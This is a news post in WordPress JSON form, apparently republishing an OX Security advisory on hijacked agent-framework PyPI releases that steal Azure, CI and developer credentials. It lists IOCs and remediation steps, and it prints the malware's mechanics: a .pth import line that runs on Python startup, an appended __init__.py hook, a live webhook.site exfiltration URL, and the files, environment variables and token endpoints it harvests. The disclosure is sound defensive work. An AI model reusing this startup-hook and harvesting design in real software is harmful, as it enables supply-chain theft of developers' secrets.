{"id":246219,"date":"2026-11-19T00:07:19","date_gmt":"2026-11-19T00:07:19","guid":{"rendered":"https:\/\/www.europesays.com\/ai\/246219\/"},"modified":"2026-11-19T00:07:19","modified_gmt":"2026-11-19T00:07:19","slug":"microsoft-agent-framework-pypi-package-hijacked","status":"publish","type":"post","link":"https:\/\/www.europesays.com\/ai\/246219\/","title":{"rendered":"Microsoft agent-framework PyPI Package Hijacked"},"content":{"rendered":"<p>Two releases of Microsoft\u2019s official agent-framework Python package were hijacked to harvest Azure and CI credentials. Traced by OX Radar, the supply chain attack executes automatically on Python startup\u2014no import required.<\/p>\n<p>Overview<\/p>\n<p class=\"wp-block-paragraph\">A popular official Microsoft Python package, with 192,534 monthly downloads was Hijacked.\u00a0<\/p>\n<p class=\"wp-block-paragraph\">OX Security researchers identified a malicious wheel published as <a rel=\"noopener noreferrer nofollow\" target=\"_blank\" href=\"https:\/\/www.ox.security\/ox-radar\/pypi\/agent-framework\/\">agent-framework versions 1.26.1, 1.26.<\/a>2 Microsoft\u2019s Agent Framework for Python. The package is a credential stealer: it harvests environment secrets, cloud and package-manager credentials, and Azure managed identity tokens, then exfiltrates them to an attacker-controlled webhook.<\/p>\n<p class=\"wp-block-paragraph\">The payload runs automatically on every Python interpreter start \u2013 once the package is installed, without the package ever being imported. Because it pulls in the genuine agent-framework-core 1.26.0 as a dependency, the framework keeps working normally and the compromise is easy to miss.<\/p>\n<p class=\"wp-block-paragraph\">Key Findings<\/p>\n<p>Microsoft\u2019s agent-framework 1.26.1, and 1.26.2 was compromised<\/p>\n<p>Executes via a .pth file on every Python start, no import required.<\/p>\n<p>Targets Azure and Azure DevOps CI build agents: pipeline OIDC tokens, managed identity tokens and agent credentials.<\/p>\n<p>Exfiltrates to webhook.site as zlib-compressed, base64-encoded JSON.<\/p>\n<p>Recommended Actions<\/p>\n<p>Check all environments, CI images and lockfiles for agent-framework==1.26.1 or agent-framework==1.26.2 and remove it immediately.<\/p>\n<p>Look for site-packages\/agent_framework_meta.pth and agent_framework_meta\/_telemetry.py on hosts and build agents.<\/p>\n<p>Pin agent-framework to a verified Microsoft release and install with hash checking.<\/p>\n<p>If the package ran anywhere, treat every secret reachable from that host as compromised: rotate Azure service principal secrets, PATs, GitHub, npm, PyPI, NuGet, Docker, Hugging Face and OpenAI tokens.<\/p>\n<p>Review Azure sign-in and activity logs for use of managed identities and federated credentials from affected agents.<\/p>\n<p>Block outbound traffic to webhook.site from build infrastructure.<\/p>\n<p>Affected Packages<\/p>\n<p>The package is an official Microsoft Python package, with 192,534 monthly downloads.<\/p>\n<p>PackageVersionFix VersionEcosystemWheel SHA-256<a rel=\"noopener noreferrer nofollow\" target=\"_blank\" href=\"https:\/\/www.ox.security\/ox-radar\/pypi\/agent-framework\/\">agent-framework<\/a>1.26.1, 1.26.21.26.0PyPId27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110<\/p>\n<p>How we traced it: OX Radar<\/p>\n<p class=\"wp-block-paragraph\">This compromise was identified and traced through<a rel=\"noopener noreferrer nofollow\" target=\"_blank\" href=\"https:\/\/www.ox.security\/ox-radar\/\"> OX Radar, <\/a>OX Security\u2019s early-warning system for emerging threats across the open-source and AI supply chain. Radar continuously monitors npm, PyPI, MCP servers, and Agent Skills from the moment new releases appear. <\/p>\n<p>Infection Analysis<\/p>\n<p class=\"wp-block-paragraph\">The package ships agent_framework_meta.pth containing a single line: import agent_framework_meta. Python executes import lines in .pth files every time an interpreter starts, so the payload runs in every Python process on the machine once the package is installed.<\/p>\n<p class=\"wp-block-paragraph\">The package\u2019s __init__.py is a copy of the genuine Microsoft file with one block appended at the end: from . import _telemetry; _telemetry._start(), wrapped so that any error is silently ignored.<\/p>\n<p class=\"wp-block-paragraph\">_start() sets the environment variable _AF_TEL=1 so it fires only once per process tree, then forks a detached child with setsid (or starts a background thread where fork is unavailable). The user\u2019s program continues as normal.<\/p>\n<p>Technical Analysis<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"735\" src=\"data:image\/svg+xml,%3Csvg%20xmlns=\" http:=\"\" data-lazy-src=\"https:\/\/www.europesays.com\/ai\/wp-content\/uploads\/2026\/11\/pasted-1794951552898.png\"\/><\/p>\n<p class=\"wp-block-paragraph\">Exfiltration. The webhook URL is stored base64-encoded in the _ENC variable in agent_framework_meta\/_telemetry.py. Data is sent as POST https:\/\/webhook.site\/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry with the header User-Agent: af-runtime-diagnostics\/1. The body is the collected data as JSON, zlib-compressed and base64-encoded.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"408\" src=\"data:image\/svg+xml,%3Csvg%20xmlns=\" http:=\"\" alt=\"image\" class=\"wp-image-23778\" style=\"aspect-ratio:2.5161290322580645;width:624px;height:auto\" data-lazy- data-lazy- data-lazy-src=\"https:\/\/www.europesays.com\/ai\/wp-content\/uploads\/2026\/11\/image-20-1024x408.png\"\/><\/p>\n<p class=\"wp-block-paragraph\">What it collects.<\/p>\n<p>Environment variables whose names contain TOKEN, SECRET, PASSWORD, KEY, AZURE, AWS, GITHUB, HF_, OPENAI, SYSTEM, BUILD, CI_, PIP, NPM, NUGET, COSMOS, TENANT, CLIENT, MSI and similar.<\/p>\n<p>Up to 60 files: ~\/.azure\/*.json, pip.conf, .npmrc, .netrc, .git-credentials, .docker\/config.json, Hugging Face tokens, Foundry config, Azure DevOps agent .credentials (\/agent\/_work, \/vss-agent, \/mnt\/azure_nvme_temp\/_work), \/app\/.env and \/workspace\/*.json.<\/p>\n<p>Secrets from \/proc\/*\/environ for up to 300 other processes.<\/p>\n<p>Azure DevOps pipeline identity: if SYSTEM_ACCESSTOKEN and SYSTEM_OIDCREQUESTURI are set, it requests an OIDC token for api:\/\/AzureADTokenExchange, which can be exchanged for Azure access.<\/p>\n<p>Managed identity tokens via IMDS (169.254.169.254) or the App Service IDENTITY_ENDPOINT, for ARM, Graph, Key Vault, Storage, Cognitive Services, ML \/ AI Foundry, ACR, Search and Azure DevOps (499b84ac-\u2026), plus VM instance metadata.<\/p>\n<p>Host details: hostname, user, working directory and argv.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"565\" src=\"data:image\/svg+xml,%3Csvg%20xmlns=\" http:=\"\" alt=\"image\" class=\"wp-image-23780\" style=\"aspect-ratio:1.813953488372093;width:624px;height:auto\" data-lazy- data-lazy- data-lazy-src=\"https:\/\/www.europesays.com\/ai\/wp-content\/uploads\/2026\/11\/image-21-1024x565.png\"\/><\/p>\n<p>Conclusions<\/p>\n<p class=\"wp-block-paragraph\">The malicious agent-framework shows how attackers are targeting the AI developer ecosystem and the CI pipelines behind it. While directly targeting an official Microsoft package, it seems that attackers found a way to hijack the wheel creation flow to add malicious logic inside.<\/p>\n<p class=\"wp-block-paragraph\">While researching this malware, the malicious version 1.26.1 was reverted to 1.26.0, then the attacker uploaded another malicious version with changes \u2013 1.26.2, containing a different path for the same payload. This attack isn\u2019t just a one off exfiltration attempt, but a planned, live and coordinated effort to reach as many victims as they can, while still being able to bypass blocks and restrictions.<\/p>\n<p>IOCs<\/p>\n<p>TypeValueWheel SHA-256d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110_telemetry.py (RECORD sha256, base64url)OfoynyqT9zSwu49a2yA-ozMdGuR5gypQFaVMsXqr1mM.pth (RECORD sha256, base64url)IfKOhRehD_5DH41o9YdcheykABrm0RgyKwpBhzmY614URLwebhook.site\/d381fd80-ec62-42ad-8f5c-d1b15103c9bbFilessite-packages\/agent_framework_meta.pth, agent_framework_meta\/_telemetry.py<\/p>\n","protected":false},"excerpt":{"rendered":"Two releases of Microsoft\u2019s official agent-framework Python package were hijacked to harvest Azure and CI credentials. Traced by&hellip;\n","protected":false},"author":2,"featured_media":246220,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11],"tags":[8918,420,7829,320,7828,61404,75542],"class_list":["post-246219","post","type-post","status-publish","format-standard","has-post-thumbnail","category-microsoft","tag-application-security","tag-azure","tag-azure-ai","tag-microsoft","tag-microsoft-ai","tag-ox-security","tag-software-supply-chain-security"],"_links":{"self":[{"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/posts\/246219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/comments?post=246219"}],"version-history":[{"count":0,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/posts\/246219\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/media\/246220"}],"wp:attachment":[{"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/media?parent=246219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/categories?post=246219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europesays.com\/ai\/wp-json\/wp\/v2\/tags?post=246219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}